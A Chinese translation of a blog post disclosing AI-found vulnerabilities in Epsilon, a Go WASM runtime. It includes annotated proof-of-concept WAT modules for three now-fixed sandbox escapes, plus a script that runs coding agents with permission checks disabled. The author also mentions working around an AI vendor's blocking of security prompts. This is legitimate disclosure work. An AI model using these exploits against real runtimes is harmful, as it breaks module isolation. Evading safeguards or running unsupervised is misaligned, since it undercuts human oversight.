他们发现的所有安全漏洞
摘要
本文详细介绍了AI代理在Epsilon(一个用Go编写的小型WASM运行时)中发现的超过20个安全漏洞,其中包括多个沙箱逃逸漏洞,允许恶意模块突破隔离。
暂无内容
查看缓存全文
缓存时间: 2026/05/21 09:11
# 他们发现的所有漏洞
来源: https://andreapivetta.com/posts/all-the-bugs-they-found.html 2026-05-18
去年我用 Go 写了一个小型 WASM 运行时,**Epsilon**(https://github.com/ziggy42/epsilon)。就运行时而言,这是一个相当简单的实现:没有 JIT,只是一个纯指令解释器,大约 11k 行代码。它还经过了非常广泛的测试,针对的是[官方 WASM 测试套件](https://github.com/WebAssembly/testsuite)。Epsilon 设计为可嵌入到其他应用程序中,并为可能不可信的代码提供沙箱。你认为 AI 智能体在其中发现了多少安全漏洞?**超过 20 个。**
其中大多数是相对简单的 DoS 攻击,例如解析或验证期间的 panic。有些是明显的 API 设计缺陷,如果项目使用得更多一些,可能早就暴露了。有几个漏洞本身无法利用,但如果与未来其他地方的漏洞结合,就会变得严重。然而,有一小部分漏洞相当有趣:沙箱逃逸,允许恶意的[WASM 模块](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Concepts#webassembly_key_concepts)突破隔离,触及另一个模块的私有状态。这些是我最喜欢的。
## 背景
一个 Epsilon 运行时可以托管多个 WASM 模块。在 WASM 安全模型中,模块之间是隔离的,除非有显式导出(和导入)的对象。未导出的函数、内存等对定义它们的模块是私有的。
WASM 是一种类型化的栈机,但类型检查不在运行时进行:执行之前,验证器会遍历字节码,并验证在任意时刻栈上的值是否具有预期的类型。例如,一个尝试对 `funcref` 局部变量执行 `local.set` 且值为 `i32` 的模块,在开始运行之前就会被拒绝。然后 Epsilon 盲目执行,信任验证器先前进行的检查。
由于验证器提供的类型保证,运行时 Epsilon 中的 `funcref` 被表示为 `int32`:`-1` 是空哨兵,任何非负值都是全局函数存储区的索引,该存储区由运行时中实例化的所有模块共享。因此,在运行过程中,常量 `0` 和指向存储区中第一个函数的 `funcref` 是无法区分的。这简化了实现并提高了性能,代价是将安全性完全委托给了验证器。
下面各节中的每个攻击者模块都与同一个受害者模块一起运行:
```
(module
(func $secret (result i32)
;; 声明函数 $secret:无参数,
;; 返回 32 位整数。私有,从未导出。
i32.const 1337
;; 将 1337 压入栈;成为返回值
)
)
```
由于 `$secret` 是运行时中实例化的第一个函数,它位于存储区索引 0。每个攻击者模块的目标是让 VM 调用它,返回 `1337`,即使从未被赋予一个合法的指向它的 `funcref`。
## 1. 零不是空
这是三个中最简单的。这是攻击者:
```
(module
(type $t (func (result i32))) ;; call_indirect 的类型签名
(table 1 funcref) ;; 大小为 1 的表(本质上是一个 funcref 数组)。
;; 由其模块级索引标识,这里为 0
;; 因为它是声明的第一个(也是唯一一个)表
(func (export "exploit") (result i32)
(local $f funcref) ;; 声明,从未赋值;
;; 根据规范,ref 局部变量默认为 null
i32.const 0 ;; 表中要写入的槽位
;; 栈:[0]
local.get $f ;; 将 $f 的值(null)压入
;; 栈:[0, null]
table.set 0 ;; 立即数 0 选择要写入的表
;; (tables[0]);从栈中弹出两个值:
;; 先是 funcref (null),然后是槽位索引。
;; 写入 tables[0][0] = null
;; 栈:[]
i32.const 0 ;; 接下来要从表中获取的槽位
;; 栈:[0]
call_indirect (type $t) ;; 弹出槽位,获取 tables[0][slot] (null),
;; 然后调用它
)
)
```
`exploit` 函数虽然是有效的 WASM,但应该在运行时陷入。局部变量 `$f` 未初始化,因此为 null。`call_indirect` 应该失败。但 Epsilon 中并没有这样——它反而调用了 `$secret`。
罪魁祸首是局部变量的初始化方式。当调用一个函数时,规范要求将局部变量初始化为它们的默认值:数值和向量类型为零,但引用类型为 null。Epsilon 通过使用 Go 的 `clear()` 将所有非参数局部变量置零来实现这一点:
```
// 将非参数局部变量清除为零值。
clear(locals[numParams:])
```
这很惯用且快速,但 Go 的 `clear()` 只是将局部变量设置为 `0`。根据我们的 funcref 表示,这不是 null (`-1`):而是 `$secret` 的存储区索引。当调用 `exploit` 时,VM 没有在 null 的 `call_indirect` 上陷入,而是调用了存储区索引 0 处的函数。
已修复 (https://github.com/ziggy42/epsilon/pull/62)。复现 (https://gist.github.com/ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8)。
## 2. 幽灵块参数
这个漏洞结合了两个独立的 bug:
```
(module
(type $t (func (result i32)))
(table 1 funcref)
(func (export "exploit") (result i32)
(local $f funcref)
ref.null func ;; 将一个 null funcref 压入栈
i32.const 0
(block (param i32) ;; block 从栈中消费 i32...
drop ;; ...并立即丢弃它
)
local.set $f ;; 将栈顶存储到 $f(null funcref)
local.get $f
ref.is_null ;; $f 是 null 吗?
if (result i32)
i32.const 42 ;; 预期路径:$f 为 null,返回 42
else
;; 不可达路径:$f 总是 null
i32.const 0
local.get $f
table.set 0
i32.const 0
call_indirect (type $t)
end
)
)
```
在任何正确的 WASM 实现中(实际上在最新版本的 Epsilon 中),`exploit` 按预期返回 `42`。但它却返回了 `1337`。
### 栈高度错位
在执行过程中,控制流块(`block`、`loop`、`if`)可能从栈中消费输入并在栈上产生结果。执行结束时,栈必须与块的签名描述完全一致:消费 N 个参数,推送 N 个结果到它们的位置。主体留在中间的任何内容都必须丢弃,因此运行时需要知道进入块时栈的高度。
在 Epsilon 中,当一个新的控制帧被压入控制帧栈时,该高度被记录:
```
vm.pushControlFrame(frame, controlFrame{
stackHeight: vm.stack.size(), // 进入块时的高度
// ...
})
```
但这里存在第一个 bug:该行是在块的参数已经被压入栈*之后*捕获栈高度的。在 WASM 中,参数被块*消费*:它们属于块,而不是外围作用域。因此验证器和 VM 现在在栈上“块的底部”位置方面相差正好 N 个参数。
### 内存复活
当一个块结束时,VM 调用 `unwind` 将栈恢复到其声明的、块前的高度。`targetHeight` 是存储在 `controlFrame` 结构体中的栈高度。
```
func (s *valueStack) unwind(targetHeight, preserveCount uint32) {
valuesToPreserve := s.data[s.size()-preserveCount:]
s.data = s.data[:targetHeight]
s.data = append(s.data, valuesToPreserve...)
}
```
由于上面的栈高度错位 bug,`targetHeight` 太高了:它将块的参数视为仍然在栈上。因此 `s.data[:targetHeight]` 导致切片增长而不是截断。只要 `targetHeight <= cap(s.data)`,Go 就乐意重新暴露底层数组中的任何内容。验证器认为已被消费的参数现在在栈顶复活了。
### 漏洞碰撞
让我们结合这两个 bug 走一遍 `exploit` 函数:
```
(func (export "exploit") (result i32)
(local $f funcref)
ref.null func ;; 栈:[null_funcref]
i32.const 0 ;; 0 是 $secret 恰好位于全局函数存储区中的索引,
;; 因为它是第一个被实例化的函数
;; 栈:[null_funcref, 0]
(block (param i32) ;; bug #1:VM 记录 stackHeight = 2;验证器,
;; 将 i32 视为已消费(根据规范),记录 1
drop ;; 弹出并丢弃栈顶 (0)
;; 栈:[null_funcref]
) ;; bug #2:`end` 调用 unwind,将 s.data 设置为
;; s.data[:2],因此 len 1 增长回 2,被丢弃的 0
;; 在顶部复活。顶部现在是一个值为 0 的 int32,
;; 但验证器仍然认为它是一个 funcref
;; 栈:[null_funcref, 0]
local.set $f ;; 将 0 放入 $f,本应是 funcref。由于
;; Epsilon 内部对 funcref 的表示也是 int32,
;; 这在运行时有效
local.get $f ;; 栈:[null_funcref, 0]
ref.is_null ;; null 是 -1,所以 0 不是 null;弹出 funcref 并
;; 压入 0 (false)。从视觉上看栈顶仍然是 0,
;; 但其类型从 funcref 变为 i32
;; 栈:[null_funcref, 0 (i32 false)]
if (result i32) ;; 弹出 i32 条件 (0, false),因此 else 分支触发
;; 栈:[null_funcref]
i32.const 42 ;; 不执行
else
i32.const 0 ;; 即将到来的 table.set 的槽位索引
;; 栈:[null_funcref, 0]
local.get $f ;; 要存储的 funcref 值(实际上是 int32 0)
;; 栈:[null_funcref, 0, 0]
table.set 0 ;; 弹出 funcref 然后是槽位索引;两者都是 0,
;; 因此 tables[0][0] 现在持有打扮成 funcref 的整数 0
;; 栈:[null_funcref]
i32.const 0 ;; 要从表中查找的槽位索引
;; 栈:[null_funcref, 0]
call_indirect (type $t) ;; 弹出槽位索引,获取 tables[0][0](我们的
;; 打扮成 funcref 的整数 0),它指向
;; store[0] = $secret。调用它。
end
)
```
一个完全有效的 WASM 模块刚刚调用了另一个模块中的未导出函数。通过选择不同的整数,它可以访问 Epsilon 全局存储区中的任何私有函数。
已修复 (https://github.com/ziggy42/epsilon/pull/48)。复现 (https://gist.github.com/ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8)。
## 3. 栈中的幽灵
前两个利用依赖于验证器和 VM 在沙箱内部关于栈上值的分歧。这个则转变了类别:分歧在于宿主函数的*声明*签名与其运行时*实际*返回的内容之间。
```
(module
(type $t (func (result i32)))
(import "env" "leak" (func $leak (result funcref))) ;; 宿主必须提供 env.leak
(table 1 funcref)
(func (export "exploit") (result i32)
i32.const 0 ;; 表索引
i32.const 0 ;; $secret 在全局函数存储区中的索引
call $leak ;; 声明返回一个 funcref;验证器认为
;; 此调用后栈上新增一个值
table.set 0 ;; 将“结果”(实际上是我们的 0)存储到表中
i32.const 0
call_indirect (type $t)
return
)
)
```
要使这个利用生效,宿主需要提供一个函数 `env.leak`,其运行时行为与其签名不一致:即返回的结果*少于*承诺的。在正确的 WASM 实现中,运行时应该对此不匹配进行陷入。在 Epsilon 中,VM 盲目信任宿主的声明签名:
```
res := fun.hostCode(fun.module, args...)
vm.stack.pushAll(res)
```
如果 `leak` 返回一个空切片而不是承诺的 funcref,`pushAll` 什么都没做。验证器相信已经压入了一个 funcref。相反,栈没有变化。在 `$leak` 之前压入的两个 `0` 仍然在栈上。VM 执行 `table.set 0` 并弹出它们:一个作为 funcref,一个作为槽位索引。`tables[0][0]` 现在持有整数 0。`call_indirect` 获取它,并愉快地调用了索引 0 处的函数 `$secret`。
已修复 (https://github.com/ziggy42/epsilon/pull/61)。复现 (https://gist.github.com/ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8)。
## 方法论
我结合了多种方法来发现这些漏洞,首先是使用一个类似于[Black-hat LLMs](https://youtu.be/1sd26pWhfmg?t=307) 演讲中描述的脚本:
```bash
#!/bin/bash
# Directory to store vulnerability reports
VULN_DIR="vulnerabilities"
mkdir -p "$VULN_DIR"
# List of areas to investigate
AREAS=(
"epsilon/parser.go"
"epsilon/validation.go"
"epsilon/vm.go"
"epsilon/memory.go"
"epsilon/imports.go"
"wasip1/wasi_resources.go"
"wasip1/wasi_poll.go"
"wasip1/wasi_unix.go"
)
PROMPT_TEMPLATE="You are an expert security researcher and exploit developer. STRICT CONSTRAINT: Do NOT modify any file outside the '$VULN_DIR/' directory. Do not touch 'epsilon/', 'wasip1/', or any other source file. All output goes in '$VULN_DIR/' only. Your task is to objectively investigate the following file for security vulnerabilities: %s Explore the file and any related files, data structures, or interactions it depends on. Where relevant, check behavior against the WebAssembly 2.0 specification (https://webassembly.github.io/spec/versions/core/WebAssembly-2.0.pdf) and the WASI Preview 1 specification — a deviation from spec in security-sensitive code is itself a vulnerability. Do not flag missing features from specs beyond WebAssembly 2.0. Do not assume a vulnerability exists. If after thorough investigation you find nothing exploitable, state so clearly and stop. If you confirm a vulnerability: 1. Create a dedicated directory: '$VULN_DIR//' 2. Write 'README.md' with: root cause, impact, and reproduction steps 3. Write a PoC exploit: a concrete, runnable demonstration (Go test, .wasm file, or script) that proves the vulnerability is triggerable by a malicious WebAssembly module without any special host configuration"
# Get agent from command line, default to claude
AGENT=${1:-claude}
if [ "$AGENT" == "claude" ]; then
AGENT_CMD="claude --dangerously-skip-permissions"
elif [ "$AGENT" == "gemini" ]; then
AGENT_CMD="gemini --yolo"
elif [ "$AGENT" == "vibe" ]; then
AGENT_CMD="vibe --trust"
else
echo "Usage: $0 [claude|gemini|vibe]"
exit 1
fi
for AREA in "${AREAS[@]}"; do
echo "--------------------------------------------------"
echo "Starting investigation of area: $AREA using $AGENT"
echo "--------------------------------------------------"
CURRENT_PROMPT=$(printf "$PROMPT_TEMPLATE" "$AREA")
$AGENT_CMD -p "$CURRENT_PROMPT"
echo "Finished investigation of $AREA."
echo "Sleeping for 10 seconds to respect rate limits..."
sleep 10
done
```
然后我转而使用 [askill](https://github.com/ziggy42/epsilon/blob/main/.agents/skills/security-audit/SKILL.md),它稍微方便一些。老实说,我不确定哪个更好,因为我是在不同时间使用的:当我切换时,脚本已经找到了低垂的果实,所以 askill 从来没有机会找到那些。以这种方式重新发现相同的漏洞留给读者作为练习。
为了绕过 token 限制,我还使用了多种模型,主要是:
- Gemini 3 Flash
- Gemini 3.1 Pro
- Opus 4.7
同样,很难比较它们的性能,因为它们是在不同时间使用的。大多数更严重的问题是由 Gemini 3.1 Pro 发现的,这是我一开始使用的主要模型。不过,试图绕过 Anthropic 对安全相关提示的屏蔽确实很累人。
## 总结
Epsilon 是一个周末爱好项目,所以我预期智能体会找到*一些*东西。但看到其中一些问题仍然令人惊讶。特别是 bug #2 相当酷。请更新到 [0.1.0 版本](https://github.com/ziggy42/epsilon/blob/main/CHANGELOG.md#010---2026-05-19)。
相似文章
四大编码代理供应商的7个沙箱逃逸漏洞
Pillar Research在Cursor、Codex、Gemini CLI和Antigravity的AI编码代理中发现了沙箱逃逸漏洞,揭示了这些代理可以写入后来宿主组件信任的文件,从而绕过沙箱边界。该发现凸显了为代理安全建立新威胁模型的必要性。
数百万AI代理因开源包中的严重漏洞而面临风险
开源ASGI框架Starlette中的一个严重漏洞(CVE-2026-48710,名为BadHost)使数百万AI代理和服务器面临数据被盗和凭证泄露的风险,影响了FastAPI、vLLM和LiteLLM等框架。该漏洞已在Starlette 1.0.1中修复,利用起来非常简单,凸显了AI工具生态系统中的风险。
AI安全扫描在10周内发现17个漏洞
基于AI的安全扫描在10周内在Perfetto的trace处理器中发现了17个漏洞,凸显了AI发现那些此前很少受到关注的长尾代码中漏洞的潜力。
一个人工智能代理在FFmpeg中发现21个零日漏洞,仅花费1000美元——其中一个可通过单个183字节数据包实现网络可达的远程代码执行
来自depthfirst的自主AI代理在FFmpeg中发现了21个零日漏洞,其中包括一个可通过单个183字节数据包实现的网络可达远程代码执行漏洞,仅花费1000美元的计算成本;这一发现凸显了自动化漏洞发现与漏洞修复之间的差距。
我测试了AI代理修复真实安全漏洞。以下是我的发现。
独立研究对AI代理修复来自Python项目的20个真实漏洞进行了基准测试;最佳解决率为50%,昂贵模型不值得,以及危险的误报——代理生成了令人信服但不完整的修复。